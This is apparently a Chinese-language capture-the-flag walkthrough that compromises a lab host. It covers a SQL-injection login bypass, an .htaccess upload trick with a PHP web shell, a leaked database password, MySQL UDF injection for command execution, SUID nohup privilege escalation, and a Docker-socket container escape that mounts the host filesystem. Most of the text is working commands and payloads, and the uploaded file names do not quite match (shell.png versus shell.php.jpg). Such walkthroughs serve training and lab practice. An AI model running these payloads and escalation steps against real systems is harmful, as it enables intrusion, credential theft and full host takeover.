一、信息收集
端口扫描
使用nmap扫描
nmap -sV 192.168.101.0/24结果图

目录枚举
dirsearch -u http://192.168.101.117 -e php,txt,bak,swp,old结果图

用浏览器进行URL访问这个路径
结果图
得知登录用户SQL语句的拼接


用浏览器登录我们扫描出来的ip,根据前面信息收集知道这只是一个单纯的登录界面

已经从/.index.php.swp拿到了这个登录界面的源码,进行SQL注入,直接输入
用户:admin' -- --
密码:随意输入数字
二、文件上传
1.登录成功就看到一个上传文件的图样
结果图

直接上传一句话木马会被过滤,但因为是Apache服务器,那就有一种思路那就是使用.htaccess文件覆盖服务器配置,修改该目录下的文件解析规则,使文件当做PHP执行
# 1.创建文件覆盖
nano .htaccess
# 2.把内容写进文本里
AddHandler application/x-httpd-php .png
# 3.创建一句话木马文件
nano shell.png
# 4.一句话木马写进文本
<?php system($_GET['cmd']); ?>结果图

3.文件上传成功,从.swp文件中知道,环境变量里面有敏感信息,这时候就去读取系统的环境变量,查看敏感信息
curl "http://192.168.101.117/uploads/shell.php.jpg?cmd=env"结果图

知道数据库用户、密码、数据库名
在docker中/.dockerenv文件被视为容器标志性文件,每当docker创建一个容器的时候,docker守护进程就会自动往容器里面添加一个.dockerenv文件
结果图

5.知道数据库密码和用户,那么进入数据库,进行下一步信息收集
mysql -h 192.168.101.117 -u root -pKp7mXz2wRn9sLqDf --skip-ssl结果图
成功拿到flag1,发现flag1可能就是登录界面的密码,账号:admin 密


三、UDF提权
这个时候,我们可以查看一下,mysql环境,构建

2.发现有UDF漏洞,可以用来提权,就先自己准备UDF文件,这时候可以使用sqlmap自动UDF库文件
执行代码
# 密sqlmap的64位UDF文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
#检查文件类型
file /tmp/lib_mysqludf_sys_64.so
#转换为十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt3.接着创建UDF的函数,使他可以调用数据库内容
执行代码
#读取十六进制内容
UDF_HEX=$(cat /tmp/udf64_hex.txt)
#写入UDF文件到MySQL plugin目录
SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';
#创建sys_exec函数
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';
# mysql里进行验证
# 1.查看根目录下所有文件
SELECT sys_exec('ls -al / >> /tmp/out.txt');
# 2.降低权限
SELECT sys_exec('chmod 644 /tmp/out.txt');
#3.查看文件
SELECT LOAD_FILE('/tmp/out.txt');结果图

四、SUID配置不当
这时候发现了flag是root权限,这时候可以使用SUID提权,如果真具有SUID权限的程序 存在漏洞或设计权限,就可以利用其root权限了
执行代码
#查找SUID权限的文件
SELECT sys_exec('find / -perm -u=s -type f 2>/dev/null >> /tmp/out.txt');
#查看文件
SELECT LOAD_FILE('/tmp/out.txt');结果图

在linux中nohup的功能是让命令在用户退出终端后继续运行,并不需要root权限,那就存在SUID漏洞
#执行SUID提权
SELECT sys_exec('/usr/bin/nohup cat /flag > /tmp/out.txt 2>&1');
#读取flag2内容
SELECT LOAD_FILE('/tmp/out.txt');结果图

五、容器逃逸
1.先检查是否Docker Socket挂载:
SELECT sys_exec('/usr/bin/nohup ls -al /var/run/docker.sock >> /tmp/out.txt 2>&1');
SELECT LOAD_FILE('/tmp/out.txt');结果图

2.要运用Docker API 请求需要一个JSON格式的请求体,有Images:镜像名称、cmd:容器启动后执行命令
SELECT sys_exec ('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\" > /tmp/out.txt 2>&1' );
SELECT LOAD_FILE('/tmp/out.txt');结果图

3.构建逃逸容器,构造API请求查看宿主机的flag
#构建API请求payload
PAYLOAD='{"Image":"mysql:5.7","Cmd":["cat","/host/flag"],"HostConfig":{"Binds":["/:/host"]}}'
PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)
SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/docker_payload.json';
SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/docker_payload.json http://localhost/containers/create\" > /tmp/container_create.json 2>&1');
#获取ID
CONTAINER_ID='$CONTAINER_ID'
SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/container_start.txt 2>&1');
SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/flag3_output.txt 2>&1');结果图
